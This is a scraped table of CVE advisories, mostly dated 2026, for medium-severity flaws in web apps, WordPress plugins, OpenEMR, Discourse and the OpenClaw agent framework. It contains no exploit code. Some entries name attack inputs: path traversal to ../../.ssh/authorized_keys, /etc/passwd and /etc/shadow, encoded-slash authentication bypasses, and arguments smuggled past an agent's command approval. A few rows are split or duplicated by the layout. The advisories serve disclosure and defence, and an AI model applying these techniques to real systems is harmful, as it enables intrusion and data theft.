CVE-2026-30579	File Thingie 2.5.7 is vulnerable to Cross Site Scripting (XSS). A malicious user can leverage the "upload file" functionality to upload a file with a crafted file name used to trigger a Javascript payload.	6.5	More Details
CVE-2026-30578	File Thinghie 2.5.7 is vulnerable to Cross Site Scripting (XSS). A malicious user can leverage the "dir" parameter of the GET request to invoke arbitrary javascript code.	6.5	More Details
CVE-2026-2290	The Post Affiliate Pro plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.28.0. This makes it possible for authenticated attackers, with Administrator-level access, to make web requests to initiate arbitrary outbound requests from the application and read the returned response content. Successful exploitation was confirmed by receiving and observing response data from an external Collaborator endpoint.	6.5	More Details
CVE-2026-33215	NATS-Server is a High-Performance server for NATS.io, a cloud and edge native messaging system. The nats-server provides an MQTT client interface. Prior to versions 2.11.15 and 2.12.5, Sessions and Messages can by hijacked via MQTT Client ID malfeasance. Versions 2.11.15 and 2.12.5 patch the issue. No known workarounds are available.	6.5	More Details

CVE-2026-33428	Discourse is an open-source discussion platform. Prior to versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2, a non-staff user with elevated group membership could access deleted posts belonging to any user due to an overly broad authorization check on the deleted posts index endpoint. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch. No known workarounds are available.	6.5	More Details
CVE-2026-2503	The ElementCamp plugin for WordPress is vulnerable to time-based SQL Injection via the 'meta_query[compare]' parameter in the 'tcg_select2_search_post' AJAX action in all versions up to, and including, 2.3.6. This is due to the user-supplied compare value being placed as an SQL operator in the query without validation against an allowlist of comparison operators. The value is passed through esc_sql(), but since the payload operates as an operator (not inside quotes), esc_sql() has no effect on payloads that don't contain quote characters. This makes it possible for authenticated attackers, with Author-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.	6.5	More Details
CVE-2026-32053	OpenClaw versions prior to 2026.2.23 contain a vulnerability in Twilio webhook event deduplication where normalized event IDs are randomized per parse, allowing replay events to bypass manager dedupe checks. Attackers can replay Twilio webhook events to trigger duplicate or stale call-state transitions, potentially causing incorrect call handling and state corruption.	6.5	More Details
CVE-2026-3079	The LearnDash LMS plugin for WordPress is vulnerable to blind time-based SQL Injection via the 'filters[orderby_order]' parameter in the 'learndash_propanel_template' AJAX action in all versions up to, and including, 5.0.3. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.	6.5	More Details
CVE-2026-32733	Halloy is an IRC application written in Rust. Prior to commit 0f77b2cfc5f822517a256ea5a4b94bad8bfe38b6, the DCC receive flow did not sanitize filenames from incoming `DCC SEND` requests. A remote IRC user could send a filename with path traversal sequences like `../../.ssh/authorized_keys` and the file would be written outside the user's configured `save_directory`. With auto-accept enabled this required zero interaction from the victim. Starting with commit 0f77b2cfc5f822517a256ea5a4b94bad8bfe38b6, all identified code paths sanitize filenames through a shared `sanitize_filename` function.	6.5	More Details
CVE-2019-25582	i-doit CMDB 1.12 contains an arbitrary file download vulnerability that allows authenticated attackers to download sensitive files by manipulating the file parameter in index.php. Attackers can send GET requests to index.php with file_manager=image and supply arbitrary file paths like src/config.inc.php to retrieve configuration files and sensitive system data.	6.5	More Details
CVE-2026-28204	Charging station authentication identifiers are publicly accessible via web-based mapping platforms.	6.5	More Details
CVE-2026-2412	The Quiz and Survey Master (QSM) plugin for WordPress is vulnerable to SQL Injection via the 'merged_question' parameter in all versions up to, and including, 10.3.5. This is due to insufficient sanitization of user-supplied input before being used in a SQL query. The sanitize_text_field() function applied to the merged_question parameter does not prevent SQL metacharacters like), OR, AND, and # from being included in the value, which is then directly concatenated into a SQL IN() clause without using $wpdb->prepare() or casting values to integers. This makes it possible for authenticated attackers, with Contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.	6.5	More Details
CVE-2026-23487	Blinko is an AI-powered card note-taking project. Prior to version 1.8.4, there is an IDOR vulnerability where user.detail Endpoint Leaks the Superadmin Token. This issue has been patched in version 1.8.4.	6.5	More Details
CVE-2026-33283	Ella Core is a 5G core designed for private networks. Versions prior to 1.6.0 panic when processing malformed UL NAS Transport NAS messages without a Request Type. An attacker able to send crafted NAS messages to Ella Core can crash the process, causing service disruption for all connected subscribers. No authentication is required. Version 1.6.0 adds a guard when receiving an UL NAS Message without a Request Type given no SM Context.	6.5	More Details
CVE-2026-23484	Blinko is an AI-powered card note-taking project. In versions from 1.8.3 and prior, the fileName parameter is not filtered, allowing path traversal to write files anywhere on the file system. Moreover, this interface only requires authProcedure (normal user), not superAdminAuthMiddleware. At time of publication, there are no publicly available patches.	6.5	More Details
CVE-2019-25574	Green CMS 2.x contains a path traversal vulnerability that allows authenticated attackers to download arbitrary files and directories by injecting directory traversal sequences. Attackers can manipulate the theme_name parameter in the themeexporthandle action or supply base64-encoded file paths to the downfile action to retrieve sensitive files outside intended directories.	6.5	More Details
CVE-2026-23481	Blinko is an AI-powered card note-taking project. Prior to version 1.8.4, there is an authenticated arbitrary file write vulnerability in saveAdditionalDevFile. This issue has been patched in version 1.8.4.	6.5	More Details
	New API is a large language mode (LLM) gateway and artificial intelligence (AI) asset management system. Prior to version 0.11.4-alpha.2, an Insecure Direct Object Reference (IDOR) vulnerability in the video proxy endpoint (`GET		

CVE-2026-30886	/v1/videos/:task_id/content`) allows any authenticated user to access video content belonging to other users and causes the server to authenticate to upstream AI providers (Google Gemini, OpenAI) using credentials derived from tasks they do not own. The missing authorization check is a single function call — `model.GetByOnlyTaskId(taskID)` queries by `task_id` alone with no `user_id` filter, while every other task-lookup in the codebase enforces ownership via `model.GetByTaskId(userId, taskID)`. Version 0.11.4-alpha.2 contains a patch.	6.5	More Details
CVE-2026-4087	The Pre* Party Resource Hints plugin for WordPress is vulnerable to SQL Injection via the 'hint_ids' parameter of the pprh_update_hints AJAX action in all versions up to, and including, 1.8.20. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.	6.5	More Details
CVE-2025-10736	The ReviewX – WooCommerce Product Reviews with Multi-Criteria, Reminder Emails, Google Reviews, Schema & More plugin for WordPress is vulnerable to unauthorized access of data due to improper authorization checks on the userAccessibility() function in all versions up to, and including, 2.2.10. This makes it possible for unauthenticated attackers to access protected REST API endpoints, extract and modify information related to users and plugin's configuration	6.5	More Details
CVE-2026-4004	The Task Manager plugin for WordPress is vulnerable to arbitrary shortcode execution via the 'search' AJAX action in all versions up to, and including, 3.0.2. This is due to missing capability checks in the callback_search() function and insufficient input validation that allows shortcode syntax (square brackets) to pass through sanitize_text_field() and be concatenated into a do_shortcode() call. This makes it possible for authenticated attackers, with Subscriber-level access and above, to execute arbitrary shortcodes on the site by injecting shortcode syntax into parameters like 'task_id', 'point_id', 'categories_id', or 'term'.	6.5	More Details
CVE-2019-25600	UltraVNC Viewer 1.2.2.4 contains a denial of service vulnerability that allows attackers to crash the application by supplying an oversized string to the VNC Server input field. Attackers can paste a malicious string containing 256 repeated characters into the VNC Server field and click Connect to trigger a buffer overflow that crashes the viewer.	6.5	More Details
CVE-2026-3138	The Product Filter for WooCommerce by WBW plugin for WordPress is vulnerable to unauthorized data loss due to a missing capability check in all versions up to, and including, 3.1.2. This is due to the plugin's MVC framework dynamically registering unauthenticated AJAX handlers via `wp_ajax_nopriv_` hooks without verifying user capabilities, combined with the base controller's `__call()` magic method forwarding undefined method calls to the model layer, and the `havePermissions()` method defaulting to `true` when no permissions are explicitly defined. This makes it possible for unauthenticated attackers to truncate the plugin's `wp_wpf_filters` database table via a crafted AJAX request with `action=delete`, permanently destroying all filter configurations.	6.5	More Details
CVE-2026-31846	An unauthenticated credential disclosure vulnerability in the /goform/ate endpoint of Nexxt Solutions Nebula 300+ firmware through Nebula300+_v12.01.01.37 allows an adjacent attacker to obtain the administrator password in Base64-encoded form via a crafted HTTP request. The recovered credential can be used to authenticate to the device and facilitates further compromise when combined with other weaknesses present in the firmware.	6.5	More Details
CVE-2026-4749	NVD-CWE-noinfo vulnerability in albfan miraclecast.This issue affects miraclecast: before v1.0.	6.5	More Details
CVE-2026-3864	A vulnerability was discovered in the Kubernetes CSI Driver for NFS where the subDir parameter in volume identifiers was insufficiently validated. Attackers with the ability to create PersistentVolumes referencing the NFS CSI driver could craft volume identifiers containing path traversal sequences (../). During volume deletion or cleanup operations, the driver could operate on unintended directories outside the intended managed path within the NFS export. This may lead to deletion or modification of directories on the NFS server.	6.5	More Details
CVE-2026-2720	The Hr Press Lite plugin for WordPress is vulnerable to unauthorized access of sensitive employee data due to a missing capability check on the `hrp-fetch-employees` AJAX action in all versions up to, and including, 1.0.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to retrieve sensitive employee information including names, email addresses, phone numbers, salary/pay rates, employment dates, and employment status.	6.5	More Details
CVE-2026-31926	Charging station authentication identifiers are publicly accessible via web-based mapping platforms.	6.5	More Details
CVE-2019-25610	NetNumber Titan Master 7.9.1 contains a path traversal vulnerability in the drp endpoint that allows authenticated users to download arbitrary files by injecting directory traversal sequences. Attackers can manipulate the path parameter with base64-encoded payloads containing ../ sequences to bypass authorization and retrieve sensitive system files like /etc/shadow.	6.5	More Details
CVE-2026-32054	OpenClaw versions prior to 2026.2.25 contain a symlink traversal vulnerability in browser trace and download output path handling that allows local attackers to escape the managed temp root directory. An attacker with local access can create symlinks to route file writes outside the intended temp directory, enabling arbitrary file overwrite on the affected system.	6.5	More Details
CVE-	Ella Core is a 5G core designed for private networks. Versions prior to 1.6.0 panic when processing NGAP		

2026-33281	messages with invalid PDU Session IDs outside of 1-15. An attacker able to send crafted NGAP messages to Ella Core can crash the process, causing service disruption for all connected subscribers. No authentication is required. Version 1.6.0 added PDU Session ID validations during NGAP message handling.	6.5	More Details
CVE-2026-25937	GLPI is a free Asset and IT management software package. Starting in version 11.0.0 and prior to version 11.0.6, a malicious actor with knowledge of a user's credentials can bypass MFA and steal their account. Version 11.0.6 fixes the issue.	6.5	More Details
CVE-2025-32223	Authorization Bypass Through User-Controlled Key vulnerability in Themeum Tutor LMS allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Tutor LMS: from n/a through 3.9.4.	6.5	More Details
CVE-2025-55043	MuraCMS through 10.1.10 contains a CSRF vulnerability in the bundle creation functionality (csettings.cfc createBundle method) that allows unauthenticated attackers to force administrators to create and save site bundles containing sensitive data to publicly accessible directories. This vulnerability enables complete data exfiltration including user accounts, password hashes, form submissions, email lists, plugins, and site content without administrator knowledge. This CSRF vulnerability enables complete data exfiltration from MuraCMS installations without requiring authentication. Attackers can force administrators to unknowingly create site bundles containing sensitive data, which are saved to publicly accessible web directories. The attack executes silently, leaving administrators unaware that confidential information has been compromised and is available for unauthorized download.	6.5	More Details
CVE-2026-32027	OpenClaw versions prior to 2026.2.26 contain an authorization bypass vulnerability where DM pairing-store identities are incorrectly eligible for group allowlist authorization checks. Attackers can exploit this cross-context authorization flaw by using a sender approved via DM pairing to satisfy group sender allowlist checks without explicit presence in groupAllowFrom, bypassing group message access controls.	6.5	More Details
CVE-2026-26939	Missing Authorization (CWE-862) in Kibana’s server-side Detection Rule Management can lead to Unauthorized Endpoint Response Action Configuration (host isolation, process termination, and process suspension) via CAPEC-1 (Accessing Functionality Not Properly Constrained by ACLs). This requires an authenticated attacker with rule management privileges.	6.5	More Details
CVE-2025-67115	A path traversal vulnerability in /ftl/web/setup.cgi in Small Cell Sercomm SCE4255W (FreedomFi Englewood) firmware before DG3934v3@2308041842 allows remote authenticated users to read arbitrary files from the filesystem via crafted values in the log_type parameter to /logsave.htm.	6.5	More Details
CVE-2026-25792	Greenshot is an open source Windows screenshot utility. Versions 1.3.312 and below have untrusted executable search path / binary hijacking vulnerability that allows a local attacker to execute arbitrary code when the affected Windows application launches explorer.exe without using an absolute path. The vulnerable behavior is triggered when the user double-clicks the application’s tray icon, which opens the directory containing the most recent screenshot captured by the application. By placing a malicious executable with the same name in a location searched prior to the legitimate Windows binary, an attacker can gain code execution in the context of the application. This issue did not have a patch at the time of publication.	6.5	More Details
CVE-2026-33130	Uptime Kuma is an open source, self-hosted monitoring tool. In versions 1.23.0 through 2.2.0, the fix from GHSA-vffh-c9pq-4crh doesn't fully work to preventServer-side Template Injection (SSTI). The three mitigations added to the Liquid engine (root, relativeReference, dynamicPartials) only block quoted paths. If a project uses an unquoted absolute path, attackers can still read any file on the server. The original fix in notification-provider.js only constrains the first two steps of LiquidJS's file resolution (via root, relativeReference, and dynamicPartials options), but the third step, the require.resolve() fallback in liquid.node.js has no containment check, allowing unquoted absolute paths like /etc/passwd to resolve successfully. Quoted paths happen to be blocked only because the literal quote characters cause require.resolve('"/etc/passwd"') to throw a MODULE_NOT_FOUND error, not because of any intentional security measure. This issue has been fixed in version 2.2.1.	6.5	More Details
CVE-2026-32036	OpenClaw gateway plugin versions prior to 2026.2.26 contain a path traversal vulnerability that allows remote attackers to bypass route authentication checks by manipulating /api/channels paths with encoded dot-segment traversal sequences. Attackers can craft alternate paths using encoded traversal patterns to access protected plugin channel routes when handlers normalize the incoming path, circumventing security controls.	6.5	More Details
CVE-2026-22316	A remote attacker with user privileges for the webUI can use the setting of the TFTP Filename with a POST Request to trigger a stack-based Buffer Overflow, resulting in a DoS attack.	6.5	More Details
CVE-2026-33123	pypdf is a free and open-source pure-python PDF library. Versions prior to 6.9.1 allow an attacker to craft a malicious PDF which leads to long runtimes and/or large memory usage. Exploitation requires accessing an array-based stream with many entries. This issue has been fixed in version 6.9.1.	6.5	More Details
CVE-2026-33355	Discourse is an open-source discussion platform. Prior to versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2, the `/private-posts` endpoint did not apply post-type visibility filtering, allowing regular PM participants to see whisper posts in PM topics they had access to. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch. No known workarounds are available.	6.5	More Details
CVE-2026-4426	A flaw was found in libarchive. An Undefined Behavior vulnerability exists in the zisofs decompression logic, caused by improper validation of a field (`pz_log2_bs`) read from ISO9660 Rock Ridge extensions. A remote attacker can exploit this by supplying a specially crafted ISO file. This can lead to incorrect memory allocation and	6.5	More Details

	potential application crashes, resulting in a denial-of-service (DoS) condition.		
CVE-2026-2369	A flaw was found in libsoup. An integer underflow vulnerability occurs when processing content with a zero-length resource, leading to a buffer overread. This can allow an attacker to potentially access sensitive information or cause an application level denial of service.	6.5	More Details
CVE-2026-32818	Admidio is an open-source user management solution. In versions 5.0.0 through 5.0.6, the forum module in Admidio does not verify whether the current user has permission to delete forum topics or posts. Both the topic_delete and post_delete actions in forum.php only validate the CSRF token but perform no authorization check before calling delete(). Any authenticated user with forum access can delete any topic (with all its posts) or any individual post by providing its UUID. This is inconsistent with the save/edit operations, which properly check isAdministratorForum() and ownership before allowing modifications. Any logged-in user can permanently and irreversibly delete any forum topic (including all its posts) or any individual post by simply knowing its UUID (which is publicly visible in URLs), completely bypassing authorization checks. This issue has been fixed in version 5.0.7.	6.5	More Details
CVE-2025-14716	Improper Authentication vulnerability in Secomea GateManager (webserver modules) allows Authentication Bypass.This issue affects GateManager: 11.4;0.	6.5	More Details
CVE-2026-32026	OpenClaw versions prior to 2026.2.24 contain an improper path validation vulnerability in sandbox media handling that allows absolute paths under the host temporary directory outside the active sandbox root. Attackers can exploit this by providing malicious media references to read and exfiltrate arbitrary files from the host temporary directory through attachment delivery mechanisms.	6.5	More Details
CVE-2026-2421	The ilGhera Carta Docente for WooCommerce plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 1.5.0 via the 'cert' parameter of the 'wccd-delete-certificate' AJAX action. This is due to insufficient file path validation before performing a file deletion. This makes it possible for authenticated attackers, with Administrator-level access and above, to delete arbitrary files on the server, such as wp-config.php, which can make site takeover and remote code execution possible.	6.5	More Details
CVE-2025-62043	Improper neutralization of input during web page generation ('cross-site scripting') vulnerability in WPSight WPCasa allows DOM-Based XSS.This issue affects WPCasa: from n/a through 1.4.1.	6.5	More Details
CVE-2026-31865	Elysia is a Typescript framework for request validation, type inference, OpenAPI documentation, and client-server communication. Prior to version 1.4.27, an Elysia cookie can be overridden by prototype pollution , eg. `__proto__`. This issue is patched in 1.4.27. As a workaround, use t.Cookie validation to enforce validation value and/or prevent iterable over cookie if possible.	6.5	More Details
CVE-2026-32889	tinytag is a Python library for reading audio file metadata. Version 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated. The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content. This issue has been fixed in version 2.2.1.	6.5	More Details
CVE-2026-27397	Authorization Bypass Through User-Controlled Key vulnerability in Really Simple Plugins B.V. Really Simple Security Pro allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Really Simple Security Pro: from n/a through 9.5.4.0.	6.5	More Details
CVE-2026-33058	Kanboard is project management software focused on Kanban methodology. Versions prior to 1.2.51 have an authenticated SQL injection vulnerability. Attackers with the permission to add users to a project can leverage this vulnerability to dump the entirety of the kanboard database. Version 1.2.51 fixes the issue.	6.5	More Details
CVE-2026-32761	File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Versions 2.61.0 and below contain a permission enforcement bypass which allows users who are denied download privileges (perm.download = false) but granted share privileges (perm.share = true) to exfiltrate file content by creating public share links. While the direct raw download endpoint (/api/raw/) correctly enforces the download permission, the share creation endpoint only checks Perm.Share, and the public download handler (/api/public/dl/<hash>) serves file content without verifying that the original file owner has download permission. This means any authenticated user with share access can circumvent download restrictions by sharing a file and then retrieving it via the unauthenticated public download URL. The vulnerability undermines data-loss prevention and role-separation policies, as restricted users can publicly distribute files they are explicitly blocked from downloading directly. This issue has been fixed in version 2.62.0.	6.5	More Details
CVE-2026-32758	File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Versions 2.61.2 and below are vulnerable to Path Traversal through the resourcePatchHandler (http/resource.go). The destination path in resourcePatchHandler is validated against access rules before being cleaned/normalized, while the actual file operation calls path.Clean() afterward—resolving .. sequences into a different effective path. This allows an authenticated user with Create or Rename permissions to bypass administrator-configured deny rules (both prefix-based and regex-based) by injecting .. sequences in the destination parameter of a PATCH request. As a result, the user can write or move files into any deny-rule-	6.5	More Details

	destination parameter of a PATCH request. As a result, the user can write or move files into any deny rule protected path within their scope. However, this cannot be used to escape the user's BasePathFs scope or read from restricted paths. This issue has been fixed in version 2.62.0.		
CVE-2026-22320	A stack-based buffer overflow in the CLI's TFTP file-transfer command handling allows a low-privileged attacker with Telnet/SSH access to trigger memory corruption by supplying unexpected or oversized filename input. Exploitation results in the corruption of the internal buffer, causing the CLI and web dashboard to become unavailable and leading to a denial of service.	6.5	More Details
CVE-2026-29108	SuiteCRM is an open-source, enterprise-ready Customer Relationship Management (CRM) software application. Prior to versions 8.9.3, an authenticated API endpoint allows any user to retrieve detailed information about any other user, including their password hash, username, and MFA configuration. As any authenticated user can query this endpoint, it's possible to retrieve and potentially crack the passwords of administrative users. Version 8.9.3 patches the issue.	6.5	More Details
CVE-2026-33056	tar-rs is a tar archive reading/writing library for Rust. In versions 0.4.44 and below, when unpacking a tar archive, the tar crate's unpack_dir function uses fs::metadata() to check whether a path that already exists is a directory. Because fs::metadata() follows symbolic links, a crafted tarball containing a symlink entry followed by a directory entry with the same name causes the crate to treat the symlink target as a valid existing directory — and subsequently apply chmod to it. This allows an attacker to modify the permissions of arbitrary directories outside the extraction root. This issue has been fixed in version 0.4.45.	6.5	More Details
CVE-2026-32697	SuiteCRM is an open-source, enterprise-ready Customer Relationship Management (CRM) software application. Prior to versions 8.9.3, the `RecordHandler::getRecord()` method retrieves any record by module and ID without checking the current user's ACL view permission. The companion `saveRecord()` method correctly checks `$bean->ACLAccess('save')`, but `getRecord()` skips the equivalent `ACLAccess('view')` check. Version 8.9.3 patches the issue.	6.5	More Details
CVE-2026-27522	OpenClaw versions prior to 2026.2.24 contain a local media root bypass vulnerability in sendAttachment and setGroupIcon message actions when sandboxRoot is unset. Attackers can hydrate media from local absolute paths to read arbitrary host files accessible by the runtime user.	6.5	More Details
CVE-2026-33022	Tekton Pipelines project provides k8s-style resources for declaring CI/CD-style pipelines. Versions 0.60.0 through 1.0.0, 1.1.0 through 1.3.2, 1.4.0 through 1.6.0, 1.7.0 through 1.9.0, 1.10.0, and 1.10.1 have a denial-of-service vulnerability in that allows any user who can create a TaskRun or PipelineRun to crash the controller cluster-wide by setting .spec.taskRef.resolver (or .spec.pipelineRef.resolver) to a string of 31+ characters. The crash occurs because GenerateDeterministicNameFromSpec produces a name exceeding the 63-character DNS-1123 label limit, and its truncation logic panics on a [-1] slice bound since the generated name contains no spaces. Once crashed, the controller enters a CrashLoopBackOff on restart (as it re-reconciles the offending resource), blocking all CI/CD reconciliation until the resource is manually deleted. Built-in resolvers (git, cluster, bundles, hub) are unaffected due to their short names, but any custom resolver name triggers the bug. The fix truncates the resolver-name prefix instead of the full string, preserving the hash suffix for determinism and uniqueness. This issue has been patched in versions 1.0.1, 1.3.3, 1.6.1, 1.9.2 and 1.10.2.	6.5	More Details
CVE-2026-29057	Next.js is a React framework for building full-stack web applications. Starting in version 9.5.0 and prior to versions 15.5.13 and 16.1.7, when Next.js rewrites proxy traffic to an external backend, a crafted `DELETE`/`OPTIONS` request using `Transfer-Encoding: chunked` could trigger request boundary disagreement between the proxy and backend. This could allow request smuggling through rewritten routes. An attacker could smuggle a second request to unintended backend routes (for example, internal/admin endpoints), bypassing assumptions that only the configured rewrite destination/path is reachable. This does not impact applications hosted on providers that handle rewrites at the CDN level, such as Vercel. The vulnerability originated in an upstream library vendored by Next.js. It is fixed in Next.js 15.5.13 and 16.1.7 by updating that dependency's behavior so `content-length: 0` is added only when both `content-length` and `transfer-encoding` are absent, and `transfer-encoding` is no longer removed in that code path. If upgrading is not immediately possible, block chunked `DELETE`/`OPTIONS` requests on rewritten routes at the edge/proxy, and/or enforce authentication/authorization on backend routes.	6.5	More Details
CVE-2026-27935	Discourse is an open-source discussion platform. Versions prior to 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 have a vulnerability in an API endpoint that discloses private topic metadata of admin users to moderator users even if the moderators do not have access to the private topics. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch. No known workarounds are available.	6.5	More Details
CVE-2026-26004	Sentry is a developer-first error tracking and performance monitoring tool. Versions prior to 26.1.0 have a cross-organization Insecure Direct Object Reference (IDOR) vulnerability in Sentry's GroupEventJsonView endpoint. Version 26.1.0 patches the issue.	6.5	More Details
CVE-2026-32743	PX4 is an open-source autopilot stack for drones and unmanned vehicles. Versions 1.17.0-rc2 and below are vulnerable to Stack-based Buffer Overflow through the MavlinkLogHandler, and are triggered via MAVLink log request. The LogEntry.filepath buffer is 60 bytes, but the sscanf function parses paths from the log list file with no width specifier, allowing a path longer than 60 characters to overflow the buffer. An attacker with MAVLink link access can trigger this by first creating deeply nested directories via MAVLink FTP, then requesting the log list. The flight controller MAVLink task crashes, losing telemetry and command capability and causing DoS. This issue has been fixed in this commit: https://github.com/PX4/PX4-Autopilot/commit/616b25a280e229c24d5cf12a03dbf248df89c474.	6.5	More Details
	Discourse is an open-source discussion platform. Versions prior to 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 have		

CVE-2026-28282	a security flaw in the discourse-policy plugin which allowed a user with policy creation permission to gain membership access to any private/restricted groups. Once membership to a private/restricted group has been obtained, the user will be able to read private topics that only the group has access to. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch. As a workaround, review all policies for the use of `add-users-to-group` and temporarily remove the attribute from the policy. Alternatively, disable the discourse-policy plugin by disabling the `policy_enabled` site setting.	6.5	More Details
CVE-2026-26940	Improper Validation of Specified Quantity in Input (CWE-1284) in the Timelion visualization plugin in Kibana can lead Denial of Service via Excessive Allocation (CAPEC-130). The vulnerability allows an authenticated user to send a specially crafted Timelion expression that overwrites internal series data properties with an excessively large quantity value.	6.5	More Details
CVE-2026-22168	OpenClaw versions prior to 2026.2.21 contain an approval-integrity mismatch vulnerability in system.run that allows authenticated operators to execute arbitrary trailing arguments after cmd.exe /c while approval text reflects only a benign command. Attackers can smuggle malicious arguments through cmd.exe /c to achieve local command execution on trusted Windows nodes with mismatched audit logs.	6.5	More Details
CVE-2026-22178	OpenClaw versions prior to 2026.2.19 construct RegExp objects directly from unescaped Feishu mention metadata in the stripBotMention function, allowing regex injection and denial of service. Attackers can craft nested-quantifier patterns or metacharacters in mention metadata to trigger catastrophic backtracking, block message processing, or remove unintended content before model processing.	6.5	More Details
CVE-2026-26120	Server-side request forgery (ssrf) in Microsoft Bing allows an unauthorized attacker to perform tampering over a network.	6.5	More Details
CVE-2026-26136	Improper neutralization of special elements used in a command ('command injection') in Microsoft Copilot allows an unauthorized attacker to disclose information over a network.	6.5	More Details
CVE-2026-32004	OpenClaw versions prior to 2026.3.2 contain an authentication bypass vulnerability in the /api/channels route classification due to canonicalization depth mismatch between auth-path classification and route-path canonicalization. Attackers can bypass plugin route authentication checks by submitting deeply encoded slash variants such as multi-encoded %2f to access protected /api/channels endpoints.	6.5	More Details
CVE-2026-25928	OpenEMR is a free and open source electronic health records and medical practice management application. Prior to 8.0.0.2, the DICOM zip/export feature uses a user-supplied destination or path component when creating the zip file, without sanitizing path traversal sequences (e.g. `../`). An attacker with DICOM upload/export permission can write files outside the intended directory, potentially under the web root, leading to arbitrary file write and possibly remote code execution if PHP or other executable files can be written. Version 8.0.0.2 fixes the issue.	6.5	More Details
CVE-2026-25744	OpenEMR is a free and open source electronic health records and medical practice management application. Prior to 8.0.0.2, the encounter vitals API accepts an `id` in the request body and treats it as an UPDATE. There is no verification that the vital belongs to the current patient or encounter. An authenticated user with encounters/notes permission can overwrite any patient's vitals by supplying another patient's vital `id`, leading to medical record tampering. Version 8.0.0.2 fixes the issue.	6.5	More Details
CVE-2026-32008	OpenClaw versions prior to 2026.2.21 contain an improper URL scheme validation vulnerability in the assertBrowserNavigationAllowed() function that allows authenticated users with browser-tool access to navigate to file:// URLs. Attackers can exploit this by accessing local files readable by the OpenClaw process user through browser snapshot and extraction actions to exfiltrate sensitive data.	6.5	More Details
CVE-2026-32941	Sliver is a command and control framework that uses a custom Wireguard netstack. Versions 1.7.3 and below contain a Remote OOM (Out-of-Memory) vulnerability in the Sliver C2 server's mTLS and WireGuard C2 transport layer. The socketReadEnvelope and socketWGReadEnvelope functions trust an attacker-controlled 4-byte length prefix to allocate memory, with ServerMaxMessageSize allowing single allocations of up to ~2 GiB. A compromised implant or an attacker with valid credentials can exploit this by sending fabricated length prefixes over concurrent yamux streams (up to 128 per connection), forcing the server to attempt allocating ~256 GiB of memory and triggering an OS OOM kill. This crashes the Sliver server, disrupts all active implant sessions, and may degrade or kill other processes sharing the same host. The same pattern also affects all implant-side readers, which have no upper-bound check at all. The issue was not fixed at the the time of publication.	6.5	More Details
CVE-2026-30891	Discourse is an open-source discussion platform. Prior to versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2, a user could access another user's private activity due to insufficient authorization checks in the user actions endpoint. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch.	6.5	More Details
CVE-2026-25745	OpenEMR is a free and open source electronic health records and medical practice management application. In versions up to and including 8.0.0, the message/note update endpoint (e.g. PUT or POST) updates by message/note ID only and does not verify that the message belongs to the current patient (or that the user is allowed to edit that patient’s notes). An authenticated user with notes permission can modify any patient’s messages by supplying another message ID. Commit 92a2ff9eaaa80674b3a934a6556e35e7aded5a41 contains a fix for the issue.	6.5	More Details
CVE-	OpenEMR is a free and open source electronic health records and medical practice management application. Prior to 8.0.0.2, an authorization bypass in the dated reminders log allows any authenticated non-admin user to view		More

2026-33304	reminder messages belonging to other users, including associated patient names and free-text message content, by crafting a GET request with arbitrary user IDs in the `sentTo[]` or `sentBy[]` parameters. Version 8.0.0.2 fixes the issue.	6.5	More Details
CVE-2026-33163	Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to 9.6.0-alpha.35 and 8.6.50, when a `Parse.Cloud.afterLiveQueryEvent` trigger is registered for a class, the LiveQuery server leaks protected fields and `authData` to all subscribers of that class. Fields configured as protected via Class-Level Permissions (`protectedFields`) are included in LiveQuery event payloads for all event types (create, update, delete, enter, leave). Any user with sufficient CLP permissions to subscribe to the affected class can receive protected field data of other users, including sensitive personal information and OAuth tokens from third-party authentication providers. The vulnerability was caused by a reference detachment bug. When an `afterEvent` trigger is registered, the LiveQuery server converts the event object to a `Parse.Object` for the trigger, then creates a new JSON copy via `toJSONwithObjects()`. The sensitive data filter was applied to the `Parse.Object` reference, but the unfiltered JSON copy was sent to clients. The fix in versions 9.6.0-alpha.35 and 8.6.50 ensures that the JSON copy is assigned back to the response object before filtering, so the filter operates on the actual data sent to clients. As a workaround, remove all `Parse.Cloud.afterLiveQueryEvent` trigger registrations. Without an `afterEvent` trigger, the reference detachment does not occur and protected fields are correctly filtered.	6.5	More Details
CVE-2026-1914	The FuseDesk plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's fusedesk_newcase shortcode in all versions up to, and including, 6.8 due to insufficient input sanitization and output escaping on the 'emailtext' attribute. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
